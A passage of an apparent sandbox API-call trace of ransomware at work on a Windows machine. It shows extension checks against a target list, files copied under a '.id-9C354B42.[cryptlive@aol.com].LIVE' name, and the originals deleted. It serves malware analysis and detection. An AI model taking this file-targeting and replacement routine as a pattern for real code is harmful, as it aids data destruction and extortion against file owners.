(lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0148.040] lstrlenW (lpString=".jpg") returned 4 [0148.040] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0148.040] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0148.040] lstrlenW (lpString="WINWORD.DEV_COL.HXC") returned 19 [0148.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0148.040] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=651) returned 1 [0148.040] CloseHandle (hObject=0x3a8) returned 1 [0148.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc")) returned 0x20 [0148.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0148.041] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.041] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0148.042] GetLastError () returned 0x0 [0148.042] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x28b, lpOverlapped=0x0) returned 1 [0148.108] WriteFile (in: hFile=0x3dc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x290, lpOverlapped=0x0) returned 1 [0148.109] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.109] WriteFile (in: hFile=0x3dc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0148.109] SetEndOfFile (hFile=0x3dc) returned 1 [0148.109] CloseHandle (hObject=0x3dc) returned 1 [0148.109] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.109] SetEndOfFile (hFile=0x3a8) returned 1 [0148.111] CloseHandle (hObject=0x3a8) returned 1 [0148.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc")) returned 1 [0148.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0148.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0148.112] lstrlenW (lpString=".doc") returned 4 [0148.112] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0148.112] lstrlenW (lpString=".docx") returned 5 [0148.112] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0148.112] lstrlenW (lpString=".pdf") returned 4 [0148.112] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0148.112] lstrlenW (lpString=".xls") returned 4 [0148.112] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0148.112] lstrlenW (lpString=".xlsx") returned 5 [0148.112] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0148.112] lstrlenW (lpString=".ppt") returned 4 [0148.113] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0148.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0148.113] lstrlenW (lpString=".zip") returned 4 [0148.113] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0148.113] lstrlenW (lpString=".rar") returned 4 [0148.113] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0148.113] lstrlenW (lpString=".bz2") returned 4 [0148.113] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0148.113] lstrlenW (lpString=".7z") returned 3 [0148.113] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0148.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0148.113] lstrlenW (lpString=".dbf") returned 4 [0148.113] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0148.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0148.113] lstrlenW (lpString=".1cd") returned 4 [0148.113] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0148.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0148.113] lstrlenW (lpString=".jpg") returned 4 [0148.113] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0148.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0148.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0148.113] lstrlenW (lpString=".doc") returned 4 [0148.113] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0148.113] lstrlenW (lpString=".docx") returned 5 [0148.113] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0148.113] lstrlenW (lpString=".pdf") returned 4 [0148.113] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0148.113] lstrlenW (lpString=".xls") returned 4 [0148.113] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0148.113] lstrlenW (lpString=".xlsx") returned 5 [0148.113] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0148.113] lstrlenW (lpString=".ppt") returned 4 [0148.113] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0148.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0148.113] lstrlenW (lpString=".zip") returned 4 [0148.113] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0148.114] lstrlenW (lpString=".rar") returned 4 [0148.114] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0148.114] lstrlenW (lpString=".bz2") returned 4 [0148.114] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0148.114] lstrlenW (lpString=".7z") returned 3 [0148.114] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0148.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0148.114] lstrlenW (lpString=".dbf") returned 4 [0148.114] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0148.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0148.114] lstrlenW (lpString=".1cd") returned 4 [0148.114] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0148.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0148.114] lstrlenW (lpString=".jpg") returned 4 [0148.114] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0148.114] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0148.114] lstrlenW (lpString="WINWORD_COL.HXT") returned 15 [0148.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0148.214] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=207) returned 1 [0148.214] CloseHandle (hObject=0x1f8) returned 1 [0148.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt")) returned 0x20 [0148.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.254] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.254] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0148.255] GetLastError () returned 0x0 [0148.255] ReadFile (in: hFile=0x36c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xcf, lpOverlapped=0x0) returned 1 [0148.256] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0148.257] ReadFile (in: hFile=0x36c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.257] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0148.257] SetEndOfFile (hFile=0x3a0) returned 1 [0148.258] CloseHandle (hObject=0x3a0) returned 1 [0148.258] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.258] SetEndOfFile (hFile=0x36c) returned 1 [0148.260] CloseHandle (hObject=0x36c) returned 1 [0148.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt")) returned 1 [0148.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0148.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0148.261] lstrlenW (lpString=".doc") returned 4 [0148.261] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0148.261] lstrlenW (lpString=".docx") returned 5 [0148.261] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0148.261] lstrlenW (lpString=".pdf") returned 4 [0148.261] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0148.261] lstrlenW (lpString=".xls") returned 4 [0148.261] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0148.261] lstrlenW (lpString=".xlsx") returned 5 [0148.261] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0148.261] lstrlenW (lpString=".ppt") returned 4 [0148.261] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0148.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0148.261] lstrlenW (lpString=".zip") returned 4 [0148.261] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0148.261] lstrlenW (lpString=".rar") returned 4 [0148.261] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0148.261] lstrlenW (lpString=".bz2") returned 4 [0148.261] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0148.261] lstrlenW (lpString=".7z") returned 3 [0148.261] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0148.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0148.262] lstrlenW (lpString=".dbf") returned 4 [0148.262] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0148.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0148.262] lstrlenW (lpString=".1cd") returned 4 [0148.262] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0148.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0148.262] lstrlenW (lpString=".jpg") returned 4 [0148.262] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0148.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0148.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0148.262] lstrlenW (lpString=".doc") returned 4 [0148.262] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0148.262] lstrlenW (lpString=".docx") returned 5 [0148.262] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0148.262] lstrlenW (lpString=".pdf") returned 4 [0148.262] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0148.262] lstrlenW (lpString=".xls") returned 4 [0148.262] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0148.262] lstrlenW (lpString=".xlsx") returned 5 [0148.262] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0148.262] lstrlenW (lpString=".ppt") returned 4 [0148.262] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0148.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0148.262] lstrlenW (lpString=".zip") returned 4 [0148.262] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0148.262] lstrlenW (lpString=".rar") returned 4 [0148.262] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0148.262] lstrlenW (lpString=".bz2") returned 4 [0148.262] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0148.262] lstrlenW (lpString=".7z") returned 3 [0148.262] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0148.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0148.262] lstrlenW (lpString=".dbf") returned 4 [0148.262] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0148.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0148.263] lstrlenW (lpString=".1cd") returned 4 [0148.263] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0148.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0148.263] lstrlenW (lpString=".jpg") returned 4 [0148.263] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0148.263] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0148.263] lstrlenW (lpString="WINWORD_F_COL.HXK") returned 17 [0148.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.263] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=114) returned 1 [0148.263] CloseHandle (hObject=0x36c) returned 1 [0148.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk")) returned 0x20 [0148.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.264] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.264] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0148.265] GetLastError () returned 0x0 [0148.265] ReadFile (in: hFile=0x36c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x72, lpOverlapped=0x0) returned 1 [0148.265] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0148.266] ReadFile (in: hFile=0x36c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.266] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0148.266] SetEndOfFile (hFile=0x3a0) returned 1 [0148.267] CloseHandle (hObject=0x3a0) returned 1 [0148.267] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.267] SetEndOfFile (hFile=0x36c) returned 1 [0148.269] CloseHandle (hObject=0x36c) returned 1 [0148.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk")) returned 1 [0148.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0148.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0148.271] lstrlenW (lpString=".doc") returned 4 [0148.271] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0148.271] lstrlenW (lpString=".docx") returned 5 [0148.271] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0148.271] lstrlenW (lpString=".pdf") returned 4 [0148.271] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0148.271] lstrlenW (lpString=".xls") returned 4 [0148.271] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0148.271] lstrlenW (lpString=".xlsx") returned 5 [0148.271] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0148.271] lstrlenW (lpString=".ppt") returned 4 [0148.271] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0148.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0148.271] lstrlenW (lpString=".zip") returned 4 [0148.271] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0148.271] lstrlenW (lpString=".rar") returned 4 [0148.271] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0148.271] lstrlenW (lpString=".bz2") returned 4 [0148.271] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0148.271] lstrlenW (lpString=".7z") returned 3 [0148.271] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0148.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0148.271] lstrlenW (lpString=".dbf") returned 4 [0148.271] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0148.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0148.271] lstrlenW (lpString=".1cd") returned 4 [0148.271] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0148.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0148.271] lstrlenW (lpString=".jpg") returned 4 [0148.271] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0148.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0148.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0148.272] lstrlenW (lpString=".doc") returned 4 [0148.272] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0148.272] lstrlenW (lpString=".docx") returned 5 [0148.272] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0148.272] lstrlenW (lpString=".pdf") returned 4 [0148.272] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0148.272] lstrlenW (lpString=".xls") returned 4 [0148.272] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0148.272] lstrlenW (lpString=".xlsx") returned 5 [0148.272] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0148.272] lstrlenW (lpString=".ppt") returned 4 [0148.272] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0148.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0148.272] lstrlenW (lpString=".zip") returned 4 [0148.272] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0148.272] lstrlenW (lpString=".rar") returned 4 [0148.272] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0148.272] lstrlenW (lpString=".bz2") returned 4 [0148.272] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0148.272] lstrlenW (lpString=".7z") returned 3 [0148.272] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0148.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0148.272] lstrlenW (lpString=".dbf") returned 4 [0148.272] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0148.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0148.272] lstrlenW (lpString=".1cd") returned 4 [0148.272] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0148.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0148.272] lstrlenW (lpString=".jpg") returned 4 [0148.272] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0148.273] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0148.273] lstrlenW (lpString="WINWORD_K_COL.HXK") returned 17 [0148.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.273] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2d8ff1c 